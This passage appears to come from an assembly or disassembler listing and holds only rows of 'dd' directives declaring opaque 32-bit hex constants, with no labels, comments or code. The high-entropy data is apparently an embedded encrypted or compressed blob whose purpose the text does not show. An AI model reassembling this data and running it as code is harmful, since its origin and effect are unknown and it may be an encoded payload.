		dd 0E55ED2h, 69FFBEBDh,	0CDF28D7Ch, 890E4F9h, 0DFB4F90Eh
		dd 14D9C74Fh, 48E86B10h, 3054000Dh, 0ADA9A62Ah,	35006EA2h
		dd 0C8FED05Ah, 63EA28h,	0FAA1F39h, 482D4385h, 0E90F25E0h
		dd 63A27749h, 80B5E0BCh, 36A0289h, 63C0115Dh, 0F698FAB4h
		dd 0FF072AD0h, 0ED15ED6h, 0E0EB0FC2h, 1ED7A6CAh, 40E691DCh
		dd 75A57992h, 0DE747008h, 5FEB9A1Ch, 6E37D240h,	20303Bh
		dd 0D8451129h, 42258ED4h, 140198E2h, 755E71Ch, 0A82071B3h
		dd 0FF30012h, 5794115Eh, 27F8798Fh, 0E8707F28h,	6784B801h
		dd 733A0260h, 105DACCh,	0F8F5692Bh, 0D030BD2Fh,	2900A948h
		dd 1495EC68h, 0C0735744h, 41909760h, 0DF00E22Eh, 0C86813EFh
		dd 3F32AA1h, 0F2796B27h, 95CACA0Fh, 498C9983h, 7DE7B1A8h
		dd 92B5E300h, 0FFE994F1h
		dd 0ECBB00A5h, 0BD0AD231h, 0CE1D4AF8h, 278C36E1h, 934995h
		dd 2D3744ABh, 0B21F6E2Eh, 96F65100h, 0E27A3912h, 49FB141Ch
		dd 0F2019C06h, 2BE93B7Eh, 4C36ECD2h, 34670F0Ah,	7183ACDAh
		dd 90758FF6h, 0DFBB4AA7h, 0C56A0960h, 830027FEh, 0E72D9397h
		dd 1FB0068Ch, 89612867h, 47FA8A00h, 2F864E66h, 68D400BAh
		dd 8DFE0DDEh, 3E065967h, 835F7E30h, 0A6AD58A0h,	570D3B07h
		dd 97A0509Bh, 0C87A3747h, 0BD3D83ECh, 0C37C805Dh, 0DDB04F01h
		dd 227900A8h, 0A74B40C6h, 19C14E0Fh, 8BA6BA5Fh,	131B19F0h
		dd 4108D8h, 0B050070Dh,	5A7F89CFh, 0BE4F600h, 0FD8042FFh
		dd 79E50724h, 0C1F5A786h, 0F05B1AD3h, 0E61E9C74h, 0B01D658h
		dd 629E3808h, 7B3CFCCh,	0C6CBFBC2h, 2550C0DDh, 309730Fh
		dd 802B9044h, 19141766h, 1813B838h, 807B1A58h, 18741F23h
		dd 886318C1h, 4081D62Fh, 0D494D8B0h, 6828B72Ah,	376EB4B1h
		dd 50315070h, 3C7EAB67h, 0CD0C03A3h, 0B780DE73h, 300F5E88h
		dd 0C4581A44h, 18486A77h, 1F761F49h, 61183ED8h,	430616CAh
		dd 0CECE0742h, 87868265h, 0EE239480h, 7F0AF188h, 0A44589D5h
		dd 2A85081Dh, 4802E1DBh, 1026F28Bh, 9D40EA91h, 125C30CFh
		dd 2308B0D8h, 38E81762h, 0DB213652h, 4A6BC0E1h,	3C001AD2h
		dd 649BC0FDh, 0A0AA0689h, 60A4F7CCh, 0E1FB488Bh, 80A40CF6h
		dd 504B054h, 289B2033h,	778EA878h, 42810019h, 3675879Dh
		dd 470E1EDEh, 40150590h, 0B772BE6h, 119E897Ch, 89D47258h
		dd 8C650001h, 7A9CB9DDh, 0F0BF8827h, 3C980142h,	0DB4760E0h
		dd 0FCD5C9F9h, 9900E81Eh, 67BE0A1Dh, 4B086Fh, 0E4A3DFF7h
		dd 9E2A5C96h, 0CE1C26FEh, 91C0E50Fh, 0E8766A42h, 5C400645h
		dd 11713596h, 7A1DA300h, 22C4ED3Eh, 0AA901380h,	753200F4h
		dd 0DC1CC815h, 0BB009570h, 0EBC19DF9h, 0C8BBA2Bh, 0C5093797h
		dd 0EA00DF11h, 0B6DE3DC8h, 28391BD3h, 940A62h, 42EE0873h
		dd 6178E849h, 0E45438h,	0B9B57B1Eh, 244E4313h, 8C8273h
		dd 27E332A9h, 98A0F7E6h, 0CE18B8BAh, 2219887h, 6BF30049h
		dd 0ACEC6388h, 0E2000856h, 0DABDFF91h, 3CB37D3h, 282C7A6Eh
		dd 0E6887CE4h, 0CC018492h, 0FD9C158Ah, 0E0E6871Ch, 0FDB1A26h
		dd 0BD31A299h, 71708541h, 0A5AA83BCh, 91CC05B9h, 9CC02E7Fh
		dd 3E801FFFh, 5B368347h, 0F5E897B4h, 3B00AD94h,	3CE1A36Dh
		dd 0EC77C372h, 30D7B31h, 4AA668BCh, 8F902C64h, 0B700FF34h
		dd 0A73084C1h, 0FBF1270h, 4E9B72F7h, 4C5A2FA0h,	2C904DE9h
		dd 74FB958h, 5FC094D5h,	71BAC0DFh, 773428h, 1CE3F7C2h
		dd 3CA6C6D1h, 3A185713h, 2F41F20Fh, 0C479E02Ch,	15045Eh
		dd 50444F65h, 0DD7F4CE3h, 2F319600h, 812390F9h,	754828h
		dd 1E352E01h, 805E4D4Eh, 50145C26h, 77F1E1h, 8920FF65h
		dd 3227A322h, 0EF97C703h, 1D7BC96Ah, 38D350h, 0BD016075h
		dd 0CE00BAE3h, 9FBF92D7h, 6011F2E7h, 0A1EB287Eh, 0AF500928h
		dd 81071460h, 0C7550DE5h, 1A14BC6h, 1570CB30h, 80F0873Ch
		dd 0FE3D8650h, 3BFCE751h, 7C686Fh, 0D983AC36h, 59A6A232h
		dd 73D3120Fh, 0B67D00FDh, 4803E928h, 6000CC99h,	86F2BE3Fh
		dd 845C7ACAh, 4A9E0080h, 0FA6CA8AFh, 2CF4A0h, 0A64FD0D3h
		dd 6962E636h, 0ADC14A00h, 3C3240Ch, 204601CFh, 2135C8D2h
		dd 0EE98042h, 2BF85339h, 61701888h, 4941B130h, 8F6DEA00h
		dd 2E1806ABh, 10A001E9h, 320BAD50h, 200AF5F7h, 68001DA5h
		dd 0FA725ED3h, 298E0DBDh, 0A4747Ah, 890A279Ch, 9B3FCC91h
		dd 0DCA121Bh, 2E4EA800h, 568BE3h, 1148FEDAh, 8A0B4B35h
		dd 70EF8500h, 683FB993h, 5440397Ch, 0D238E404h,	8A0806Ah
		dd 0DC73A1CBh, 73C59400h, 2B1F757Bh, 337C0074h,	0CFB8A788h
		dd 3901BE19h, 5BB5DE49h, 58D459A3h, 0F3240038h,	8959BC4h
		dd 114DBF8Bh, 849E2984h, 9AE6BD00h, 3B7E48ABh, 90CC631Ch
		dd 1F49613h, 54E5550Bh,	604AE52Ah, 820EF5E2h, 0A37D069Ah
		dd 0A41B2Fh, 6EC61819h,	0ED88E1F3h, 8CFF8109h, 7EBC83B6h
		dd 801CE887h, 0C15B003Dh, 6BA1CEC5h, 0F3EAA655h, 516A6000h
		dd 4A6C42A9h, 180F002Ah, 8F4F41BEh, 0FA003898h,	6FF56379h
		dd 101B6Eh, 9DDCE008h, 8A7E0541h, 3F8B7801h, 0F8904AC5h
		dd 0B095B082h, 1C40F239h, 0C1001671h, 7997A5C0h, 0A06327h
		dd 18484EB4h, 60EF3955h, 0F325C4Ch, 404785E7h, 375D2C5Fh
		dd 572E004Dh, 4633B59h,	0DB006C06h, 68720184h, 0A8968Ch
		dd 9D7A5A31h, 0BA8B8354h, 2EDA9E02h, 0C88CE442h, 3E4338h
		dd 3904B599h, 40CDE8C8h, 0F43C2E00h, 840C1EC4h,	15DE6E0h
		dd 2F660F73h, 835296E2h, 9346B1D8h, 5EB4E83Ch, 6F09020Bh
		dd 0F7E58B31h, 0C2524440h, 1C1460F7h, 65430F00h, 68D5402Bh
		dd 602A0082h, 0A397B85Fh, 0FB00BD02h, 0ABE69196h, 25F3E5h
		dd 4542120Ch, 901F3F88h, 93BFCF00h, 0A2BD5F31h,	0B4410040h
		dd 3D199580h, 2028C110h, 0EF0ED4CDh, 0E97FF2B7h, 0AD0057EEh
		dd 2E4FC6CFh, 9832500h,	646B524h, 0AA5500D7h, 0DB6A148Bh
		dd 1F00B6B8h, 0A2734335h, 1C2D5A1Ah, 1F0B0585h,	0C39277h
		dd 4CDBAC54h, 0DA6237A2h, 409F7A30h, 49D245h, 0A34E8A7Dh
		dd 0B41D1B05h, 56C1430Eh, 0CC47E0EAh, 18AADB04h, 0A648947Fh
		dd 8A1D432Ah, 32C52266h, 0C805F84h, 0B982563h, 0D8456283h
		dd 349508A0h, 3998EBF7h, 0C9D72300h, 0FF5DCACEh, 0E5E20016h
		dd 0F696D62Ah, 71C2CA4h, 0CC098AE3h, 0E3807F41h, 4FB509C4h
		dd 25165A00h, 9BC99A8Fh, 5BF8A8AEh, 2CFD01BAh, 7C791B2h
		dd 0BFECE814h, 38548B03h, 0D2782B0Fh, 32144889h, 75940077h
		dd 88D41846h, 7C00106Eh, 2CC8E2C1h, 38C7DD9h, 0BA97D58Fh
		dd 0B5E8EBE1h, 0BD00231Bh, 123B026Ah, 5C35AF2Ch, 710100FCh
		dd 9C2F604Eh, 0F061B98Fh, 921F4B06h, 7809E414h,	8DF00BDAh
		dd 9CA09A59h, 9934E81Bh, 0CBB1A907h, 0D845C1D6h, 4D0B8202h
		dd 0CDA4E84Bh, 6392017Eh, 6039C453h, 9190D33Bh,	1B06A4CEh
		dd 614A97E5h, 0D21900EEh, 0A221DC34h, 5934CEC3h, 38F89192h
		dd 0E4629E03h, 27A0C9ECh, 10A358CEh, 0B003479Bh, 21E3C37Ah
		dd 0EF02A4AAh, 0CF198A8Dh, 3600C102h, 4F42E8h, 8F074A30h
		dd 0E52E895Eh, 9F5D4D39h, 35805628h, 318C6E0Fh,	0E19D1D07h
		dd 0CCA8060h, 0E4F9D3EFh, 33A3BB00h, 1AA54C5Eh,	184E00F8h
		dd 0BF214BD2h, 0DD000401h, 0AAFE5AAh, 1C609334h, 0C09CD788h
		dd 21A2DF7Bh, 0F900A049h, 0C8A1812Bh, 3E35AD11h, 0E48022FEh
		dd 0D327B2FDh, 180010B7h, 0F77413D0h, 7BE25FE0h, 8F287h
		dd 2841C2FFh, 394DC4CAh, 80337900h, 0FC9F99A5h,	2E2CB0F0h
		dd 1F9E0AB9h, 46B0E2Ah,	0FAC72F00h, 0DE5089F8h,	0EA0E648Ch
		dd 6E88BF37h, 0D1A3C066h, 857355h, 0D7D9A91Ch, 9CF71102h
		dd 82C1A4A8h, 3E75C800h, 3740F235h, 8C880115h, 50075F1Dh
		dd 242281h, 0E5277FBCh,	5EFA59h, 30472EA5h, 550593ABh
		dd 0AEF01092h, 89033478h, 9E8F4037h, 0CE85A8BFh, 0EE500064h
		dd 20B683CFh, 0D5189217h, 413919B4h, 0C1DE22h, 7AF260Ah
		dd 0D500E28Ah, 7E1E0B6Dh, 0A8E63D3Eh, 0F34974h,	297C8D45h
		dd 6D39463Ah, 5C524E00h, 0E61ACAFEh, 837712ECh,	1D340FD5h
		dd 0EEF133E0h, 8A1E372Dh, 807E9935h, 0FEA3E08Ch, 90B70C9h
		dd 0E521EB52h, 81DA780h, 767C302Eh, 0F6243B0Eh,	71AEA336h
		dd 0EB07A869h, 9E5F19B4h
		dd 5F971195h, 0E0307F04h, 935B107Bh, 19A104C6h,	0C0D5E359h
		dd 0AA9EAC5Fh, 8D3CBD09h, 0E612039Ah, 4AADC12Ch, 691B20h
		dd 54E9D4D6h, 174FC7E8h, 8E33D800h, 6CD32191h, 0E10E0A95h
		dd 9F7964h, 30DF72B4h, 41E447C6h, 55F53Ch, 8F3B03A0h, 0D80E9Ch
		dd 0DE6BEBAh, 35F40519h, 16ECF00h, 49767B58h, 0FD380372h
		dd 284565B0h, 0FE3092B8h, 8F6CB13Dh, 0E90EDDCBh, 1C5CDECAh
		dd 18828087h, 0E72E5A0Ah, 62CB2300h, 4214E9F1h,	7EEA0022h
		dd 13A15B8Bh, 50007CBCh, 893E3060h, 2519A7h, 0A9015FD7h
		dd 0C1492267h, 71EC4814h, 0BBF82E9Ch, 86C0291Eh, 99BAC863h
		dd 2C9F0015h, 0CB642531h, 3C124F8Dh, 5A1E4179h,	2A234C83h
		dd 8020072Eh, 0F13B53h,	0E70C33BAh, 30826915h, 1683AC8h
		dd 92E170AAh, 418F5189h, 0EBA05C83h, 9A225372h,	0D8BAE8EDh
		dd 88899B00h, 0ADBC3E51h, 0EBF8076Bh, 0D0FD776Ah, 18E547Eh
		dd 0FC38EC00h, 0A8C9E085h, 0A7E2B7h, 0A91420A0h, 0E17296FDh
		dd 0FBF66198h, 426A31Fh, 6254A1C0h, 6B01B3h, 5D44556Eh
		dd 38D3D2D0h, 49871A07h, 0B6106936h, 0B0887CFDh, 777B3h
		dd 0CDC1946Ch, 8738E62Ah, 0C984DC15h, 0A1CF008Ch, 6D72340Eh
		dd 0F98E0CBh, 0D4843E1Ah, 833B3A67h, 0F1007E51h, 19CB74C4h
		dd 0D1F1BDh, 4ECAE8DDh,	290E8E5Eh, 658D5216h, 9B963C01h
		dd 2DCCD024h, 6F0F3C34h, 0C80EB483h, 0F9E87F47h, 0FF3D6CAEh
		dd 704C8FE6h, 202E0960h, 0CC96F480h, 6E1800C2h,	0A3A1DDC0h
		dd 0DA03EF67h, 0BAE0EBAh, 800D887Ch, 0E692009Ah, 7534BDB0h
		dd 2B00C8D2h, 9C7A37DFh, 15E325h, 809758BBh, 50B79EB4h
		dd 0BEDCCC00h, 0A6A14CADh, 0A56E439h, 33D338D4h, 581D01F4h
		dd 8B7C5F9Ah, 0D5AE6F1h, 44ED56BEh, 0D966F0h, 0FF1B1583h
		dd 96399426h, 7F4B600h,	0EA3BB9E4h, 0AFC21F31h,	0FCE0F34h
		dd 1C100829h, 0D3005279h, 0CFAE2A55h, 0C00EDB50h, 4DAF7B98h
		dd 7800ADA6h, 12B45373h, 991F41h, 38F92517h, 71DA8647h
		dd 0F5820h, 4E1E9ACFh, 74309985h, 1B105E14h, 2D0A00A4h
		dd 0C35DBE13h, 1A0791Dh, 3064EFE9h, 346EDD41h, 5EE8AC30h
		dd 83478605h, 904053BCh, 604BC31Ch, 0EBD80073h,	0C08B2A80h
		dd 0D6036617h, 0CEB0E3B3h, 5D80031Eh, 7E4D200Bh, 21907D88h
		dd 0D318501h, 15189B60h, 755AC0h, 0DA6FB9CBh, 4541500Fh
		dd 0BC305300h, 64211D5Bh, 0A80300D4h, 911EC49Eh, 0D600B2CBh
		dd 0E04D083Eh, 0D0E140h, 87E87078h, 2C66890h, 0E47D0C00h
		dd 94744C18h, 7704009Ch, 0F55B6566h, 0AB02A279h, 1E86A459h
		dd 578E6067h, 161C07B3h, 4064530Ch, 0F6D8B4CAh,	9ED44A00h
		dd 27DD89D6h, 7D5B3C7Eh, 0AC7BD900h, 87156A94h,	16A27A30h
		dd 2C4732BDh, 0CD3305h,	0CB63A54Fh, 39008C13h, 0F6E1373Ah
		dd 0C01B76C3h, 0F035F97Eh, 0DB00C428h, 0BB1F13FBh, 5C9C40BCh
		dd 0F200C174h, 5B75018Fh, 94007A2Ch, 0A44A36B2h, 0FBD8CCFh
		dd 0B39E3DCEh, 87DD4280h, 0AD006F91h, 0E3957309h, 0D62417A4h
		dd 968A00A8h, 0DC576AB2h, 3C152B00h, 0FF59910Dh, 11656006h
		dd 3F2C8168h, 93DB0B00h, 2F8D3183h, 987DE490h, 74CB03F7h
		dd 720171C6h, 0C016CAB0h, 0B73F0718h, 218D40h, 0D371039Ah
		dd 5AA08396h, 41007877h, 0D77A84E9h, 0EE0148BCh, 317C004Eh
		dd 747E4F91h, 46734B9Eh, 0F1B02E00h, 0B8C47F04h, 1237EAAAh
		dd 70C0A75h, 20849E1Bh,	713D7603h, 7B00D07Bh, 0FE481C95h
		dd 1E3EF686h, 4C8E5013h, 25304E9Bh, 0B30F6604h,	1C80B6B2h
		dd 3E4E188h, 0F4D8FFCDh, 2EB267F3h, 0F1287560h,	90C330FFh
		dd 27D07B00h, 0E73D4560h, 3A05008Fh, 2DF87599h,	0EB001EA5h
		dd 0DFB5107Fh, 798C2CFh, 0A65A053Ch, 0BFC10036h, 553ACB87h
		dd 1CE67E41h, 0B990D00h, 0BE7CCACEh, 1BB200C4h,	5D21F831h
		dd 2F0080F2h, 689F1C25h, 6D0A3Ch, 0CCDDDF60h, 0C5C364CBh
		dd 19005C90h, 886963D5h, 0FB7AAEh, 0BBC98D1Ch, 0AA8A5CBFh
		dd 0FD0094F6h, 0B12BD08Fh, 0E0E08C4h, 0BDDC1995h, 0F1D9A520h
		dd 70000C49h, 0B21D30D8h, 1E4F90Eh, 65B41B97h, 0EC7BFCC0h
		dd 10182202h, 0E448D19Dh, 0FE2C6AFEh, 4E741D20h, 1F802AC8h
		dd 0CE77E9A7h, 60318F00h, 3B409950h, 3EFC017Eh,	8D0541D4h
		dd 54C130DFh, 0F696F300h, 0AB24E0BCh, 0A9B31CBFh, 0C9429FB1h
		dd 990073FDh, 13686D20h, 7CA10719h, 0E8176510h,	661758Fh
		dd 317993h, 58AC6E8Dh, 10592C65h, 36648C07h, 0CB06215h
		dd 92414A57h, 77F5017Ch, 7A40FE75h, 3B3824D5h, 4F829019h
		dd 0D8EC17D9h, 0C90501DEh, 16184A5Fh, 0E71183DAh, 71D207Ah
		dd 4C1FEA80h, 49D4E6FAh, 7E21562Eh, 0D6816C03h,	2B82E0D2h
		dd 0E0B70ACFh, 383073B9h, 803065B7h, 2D7A78E5h,	39354700h
		dd 0A6227ED0h, 84580072h, 7423D675h, 1C0792B7h,	8A261ED8h
		dd 0FCA83FF0h, 0EE371CF2h, 0F1ECC03Bh, 179A858Fh, 39D69D00h
		dd 5A788A4h, 444E3883h,	0B1E7F800h, 2D25B932h, 684D780Fh
		dd 0EDEB4027h, 89610Ch,	0FFCF565h, 5876EC66h, 1DCF4900h
		dd 248F5709h, 185262FFh, 0C080CB35h, 6BC1FC63h,	29E61D03h
		dd 1065C00Ah, 60541B28h, 0FD6A9EE9h, 2EC08340h,	0DA008FDDh
		dd 89EB9473h, 18207692h, 402A69FEh, 0BB30B477h,	7EFF187Fh
		dd 0D0965231h, 879A7900h, 60CD1F0Ch, 0A2589718h, 0C07D6F08h
		dd 87929420h, 790F66EFh, 808FBE1Ch, 53FBCB15h, 0A169C0ECh
		dd 0D265C184h, 9D99B50h, 0F3106160h, 28337DDBh,	0AFD1B5h
		dd 68AA76AEh, 17BD4EA0h, 15277800h, 31CBDFF3h, 5D700E94h
		dd 43E0A8B5h, 238A1A9Eh, 0D778C03h, 8018BEB9h, 8EE449h
		dd 0E306FAC5h, 8F8AC910h, 0E991BA03h, 88211913h, 464722Ah
		dd 586080C2h, 4547809Dh, 0A900FFF6h, 61F87BCAh,	97992Fh
		dd 0D52C09DEh, 0F3A27C3Ch, 0BB26C100h, 0BC5AE316h, 0B07E000Ch
		dd 71AE2C12h, 10CA0B56h, 1AFC0455h, 108EA3A2h, 0B8D3F6C0h
		dd 82EFFC00h, 90058A08h, 51A80E19h, 65206B01h, 0E4188026h
		dd 57863F00h, 6D5A649Fh, 2B21139Ah, 0FA3F0008h,	81B83ACAh
		dd 0F3C6E81Eh, 94DC80C0h, 0F547134h, 89D2982Eh,	6C535982h
		dd 0DC82F1E0h, 9FC66018h, 955010h, 9D5FCF2Dh, 9256C0EFh
		dd 0FED20200h, 0B81FF47Fh, 15B0035h, 53D0AD40h,	0EB7D7859h
		dd 1C8D9B01h, 0EDD580BBh, 3F764870h, 0F71DCECFh, 432603D4h
		dd 23F07A59h, 4C003A71h, 205FD708h, 0C7FD78h, 0B6F03001h
		dd 0F15469CFh, 0B047D000h, 872C9076h, 0ADC300AFh, 27A1443Ch
		dd 6D000883h, 145D39EBh, 0B066F080h, 81FD001Ah,	7D4231DFh
		dd 0D3B843B2h, 28B3BAA0h, 0FFDB250Eh, 0F69A808Dh, 366B96h
		dd 33FDA0F5h, 0BE205CD9h, 41522303h, 90D4D09Dh,	2EB2A1EEh
		dd 54C788h, 0E9A6FBC1h,	1B002E8Fh, 4972D8ADh, 48EDFAh
		dd 0A1DA566Ah, 0BCAAE9D2h, 8BA3D600h, 1888D03Dh, 0FD230001h
		dd 0E4A4C606h, 860FE7D8h, 0C5F419h, 0C29CE120h,	48B7BA6h
		dd 0BFFD36EAh, 0F8109074h, 5A00893Eh, 0AC8E986Bh, 305343E9h
		dd 3FD8A3F1h, 2851E659h, 2984E8ECh, 382EB800h, 1D0E4881h
		dd 309F003Ah, 8907196Fh, 6E00738Dh, 378357D8h, 246BB02Fh
		dd 804454F6h, 0CE2B904Fh, 1500354Ch, 0D8B94657h, 0F845A4h
		dd 61AEEB14h, 63A2724Eh, 77B68F2Eh, 2A9E4400h, 39F27F69h
		dd 20E5805h, 5520FBD3h,	470750B0h, 0C48B400h, 5457E2CDh
		dd 7C4B008Ah
		dd 0EE26FA21h, 0CC00345Fh, 4463A86h, 0B022A6h, 0E0E3F19Bh
		dd 4AA3C34Eh, 8E124Ch, 13752E68h, 6DFF84h, 7E242BEAh, 6E6105Ah
		dd 0BB2882Eh, 80FB8609h, 4DAFB6D4h, 6892CBh, 25A9B48Dh
		dd 0B0F05235h, 0F73A9A00h, 12ECAFC3h, 19313957h, 56838B00h
		dd 58E5860Ah, 0FB4038D2h, 0D4519817h, 6B913F13h, 15620DACh
		dd 0ED07D0DEh, 60153156h, 221C2AE9h, 7B80F001h,	0FB3426F5h
		dd 1F9488D0h, 4362BD38h, 0BAE2548Ch, 522C4E98h,	6ECBED00h
		dd 3F1CC950h, 0E52F00A4h, 3B809744h, 6B017BB1h,	0BF2D6628h
		dd 0E2F4FE76h, 979F0024h, 3BB4EFB6h, 18905E93h,	56708D10h
		dd 7689BE09h, 110F10Ah,	4A8838C5h, 3B13C971h, 5C30D5A1h
		dd 0AA1D0050h, 2DDA0548h, 460EAEDDh, 23DF544Dh,	0F8C65608h
		dd 177E1D1h, 9333502Eh,	70CA8C3Eh, 0B748796Fh, 2390750Ch
		dd 4171E3Bh, 0A2CBF50h,	712D68D0h, 7F260049h, 991BA06Ch
		dd 5E001DCBh, 2EC47D66h, 0ECD12941h, 38F607FEh,	41F74685h
		dd 7059F983h, 20006D7Eh, 0D9035DFFh, 1F0AC1Fh, 0BA130B98h
		dd 0C45622F2h, 76001928h, 90034F73h, 1889A821h,	10416607h
		dd 0CB00B172h, 3582C4ACh, 0C285CB7h, 0F3D7E21Ah, 4B000E68h
		dd 0B29105C8h, 0A17539h, 9698C721h, 6E039980h, 0B0666C00h
		dd 72D5E4BFh, 0C65B00DAh, 0FE5539F7h, 451E622Bh, 0C2838734h
		dd 0D8ECA6EFh, 0B0A33h,	8C9C1BE5h, 44E9CF42h, 4CDF2E48h
		dd 71C07B5Bh, 0D89BF0C3h, 0E211C980h, 1E6FA880h, 12071829h
		dd 1B1D96EDh, 0C40E8FCh, 9EF4854h, 0CAFE4311h, 20FFE22Ch
		dd 90EB4C87h, 1E5F4600h, 5C92FEh, 0F0D4C69Dh, 0C8BC61A1h
		dd 54868C07h, 3032E4A3h, 752FC09Bh, 7E2C0055h, 5D234362h
		dd 58001B47h, 882BD8D2h, 0E6EB105h, 0B10FBFDh, 45EA8A00h
		dd 0BB01BA1Ch, 0B59DBDA8h, 84FC828Bh, 80F2A1h, 0C3C83288h
		dd 0C4EAF18Ch, 67A0B560h, 0D4AC2Eh, 0DD81D0F2h,	8C128095h
		dd 54A9EB26h, 85C88B81h, 108FA6E8h, 0BDBF3B01h,	3000D022h
		dd 0C3ED0E39h, 0BC5008h, 76676163h, 0E8E2A14Dh,	0F683FA00h
		dd 8D192399h, 2D6B3FC0h, 6C94168Bh, 2F01D883h, 26606800h
		dd 6256BD2Ch, 9D280F30h, 702E2DAh, 9CA1E4B5h, 700AA6F5h
		dd 0FF24AA3Ch, 508068A1h, 2DD3B2A8h, 3CF7EA61h,	7245955h
		dd 517401F4h, 328754ECh, 6BE700B8h, 0C88384A4h,	9F4000D8h
		dd 0FA07ABA5h, 0BF0322DEh, 0E8741559h, 564800F9h, 0CD0140Fh
		dd 2A0EFF5Fh, 0E59CA099h, 7852537h, 0D2BBB300h,	702407F8h
		dd 14E700F6h, 9A65F0B6h, 6E00FE64h, 0DCEBB5DBh,	0C68F40h
		dd 0C95E92C5h, 0C37F327h, 5BD62204h, 808015ADh,	3CC13CBh
		dd 0E6E9093Fh, 4800FE45h, 36D590D9h, 980DAB96h,	292000BBh
		dd 0F0DDC425h, 5B0032F3h, 1B56FEEBh, 9247C8h, 0C38F8B4Bh
		dd 0A6F92BDDh, 1E1F870Bh, 0D81C8044h, 1E32F81h,	776C8843h
		dd 60716A07h, 6F06372Ch, 391B7B79h, 0F61A0E31h,	5D40FF4Fh
		dd 55325BE0h, 993AC875h, 8042B8D5h, 0F7031C8Fh,	3C917BE9h
		dd 7780E4B1h, 0D5CDFD20h, 4100FA5Bh, 0A8A3D894h, 31398Eh
		dd 997C7BF5h, 18DC0D1Eh, 82F75638h, 6138B11Fh, 5A4057DAh
		dd 78009E24h, 1BD3287Ch, 0F10A4Ah, 0C8683AAEh, 3B7D5EE7h
		dd 60AC4E07h, 7273564Ch, 83CD9003h, 94650044h, 0A5B5E1F0h
		dd 60003022h, 0C87CD025h, 6F061854h, 1580B005h,	1E519538h
		dd 0B8588C9Ah, 1A0D0068h, 0AAA8EA01h, 62A00382h, 25487113h
		dd 0CC012BBh, 0F90B3C9Ah, 873BAF15h, 0A730CC20h, 0F2E272h
		dd 9CF66C01h, 822DA311h, 9A680D26h, 452E3F00h, 69D9B64h
		dd 211CFEA7h, 0E413780Eh, 18406553h, 89AC4337h,	0B9FC002Bh
		dd 0D4119739h, 21C161C8h, 8B2164E5h, 0D2338311h, 9862D461h
		dd 0E5188220h, 93E00054h, 292ED5C1h, 61004CD8h,	86BB97B2h
		dd 0EE51850h, 0CAC54AA7h, 0EE6B8140h, 612A3101h, 8A168407h
		dd 0A040DC7Bh, 0A5EA2279h, 0B111C0F9h, 480F824Dh, 68EB39DCh
		dd 0E9005821h, 9D30C1C6h, 0A3BE8FEh, 0CAD40F97h, 20F29068h
		dd 0D9A3001Bh, 0C4904E49h, 0C100AABDh, 0AC8D4018h, 0E20601Dh
		dd 35F4A30Fh, 0D1536F00h, 8A00CD2Fh, 3F4CA712h,	0F89FC0E2h
		dd 0F7180003h, 2E47D28Ch, 641EC8DBh, 3EC07B31h,	0F5AC82DFh
		dd 0A9F3000Bh, 221B542Ch, 0EA3BB4A0h, 476880B2h, 6BD1D917h
		dd 503B00EBh, 74137D3Dh, 5300160Ah, 0A72655A4h,	0DA4E6Ah
		dd 0B69369AAh, 1B126ED6h, 0AEE2E800h, 54163980h, 7CD700C0h
		dd 0DC9DB02Ch, 6500ADB4h, 9FBB4186h, 1ACF4B8h, 0BFA9F02Ah
		dd 30B32B7Ah, 0C50AB0BCh, 900FA387h, 0C607D481h, 49F82BF0h
		dd 0D9FA004Bh, 0A1DF2D86h, 0C3094480h, 650C8592h, 0DDFC6164h
		dd 21FC316Bh, 945DCC6h,	0BA407700h, 15D87094h, 8B8D3EE9h
		dd 5CA8297h, 858239Ch, 32427414h, 0CD1622E3h, 90F6A82Fh
		dd 0DFB384D8h, 0CF442A48h, 13BB6C21h, 5E488CE2h, 90282E47h
		dd 0E1088470h, 44CCD244h, 244AE2FBh, 0DC8D083Ch, 2C29E698h
		dd 2E0DE6A2h, 0C6764h, 0B95784C7h, 8B00D09Dh, 937BEB69h
		dd 382B0F5Ah, 0BA92911Dh, 0EF5890AFh, 0D9075D32h, 9A397F60h
		dd 0EA680411h, 7759030h, 0C98F9D62h, 0F1F740DEh, 0E10005C6h
		dd 88E62D1Ah, 3DA896Eh,	6C66BF55h, 2BB8CDD9h, 0D500F704h
		dd 0DE8E6582h, 0F13D42h, 0C8ED2DB5h, 28A4AAE2h,	0FB99FE0Eh
		dd 0E451E0CDh, 7617215h, 0D39B4EF0h, 30A417C5h,	0BB1B9A9h
		dd 8A19100h, 0B08F18A3h, 660C0E8Dh, 8080DF5Dh, 0AAE961E4h
		dd 5E530800h, 0A186C9CAh, 564E0788h, 0B0D9BC59h, 0CE4650C4h
		dd 0F15FF800h, 0A7989D5h, 59CF03DDh, 0E2583599h, 0CB2497DCh
		dd 63403418h, 1D8FB03Fh, 3B585D03h, 0F03D11h, 65EBF8A6h
		dd 71C8F1BBh, 0D1584492h, 925D0248h, 589AB3E6h,	0D7A31700h
		dd 1904404Bh, 28499326h, 8D0E4F00h, 9B5C84DDh, 3FB700F5h
		dd 0D7AF44D2h, 1D0093E5h, 0E048D9F7h, 0C6CB70h,	436C8985h
		dd 420D3E04h, 92C2800h,	3310F52Fh, 9EEC000Fh, 9C22D76Dh
		dd 5800F8BAh, 474DD373h, 41A41h, 803146C2h, 7B533538h
		dd 75C45700h, 0B5BED571h, 0EE1375F8h, 81D1004Fh, 0A5DDB103h
		dd 0DC00061Bh, 4115FD6Fh, 0F4F800Bh, 273A2A55h,	0A463BB60h
		dd 7F0053FBh, 79345A3Ch, 7A3B11h, 0EC1EA0E6h, 0B5569DFEh
		dd 1780A918h, 913CA8h, 0A940B5Ch, 76B84551h, 4A14D600h
		dd 4BB0285Eh, 97F8FB22h, 0D290029Ah, 9E84A969h,	0BD034240h
		dd 0FF6CC700h, 4AFDB07Dh, 24430016h, 0C3352712h, 0C80FC0EAh
		dd 0E090B6CDh, 8555883Dh, 2DF24Eh, 0ECE8E323h, 80FA6FC8h
		dd 3990C4B8h, 5C4E4300h, 7B6EE134h, 122CB86Dh, 0C0043D19h
		dd 3892BACh, 8002DECh, 0BD67D94Ch, 7E490Dh, 0F797B628h
		dd 913F43D4h, 0EC336500h, 0BDF963BEh, 11BA244Dh, 0AAC100A5h
		dd 0AB2C4123h, 0B627D500h, 55627F86h, 3C199898h, 0F380830Dh
		dd 0EC10466Bh, 0B83DD25Eh, 0FE8884E9h, 74804BA8h, 7D7C7FAh
		dd 9BA49F75h, 0ECFDF5A3h, 0C28F00DBh, 0C74513C4h, 0F18B0222h
		dd 0B0F7BF05h, 5278A060h, 294E7C00h, 4B72EDD1h,	18818A2Ah
		dd 87B482D6h, 0BEA5E060h, 88491573h, 13795471h,	0D8DD8B93h
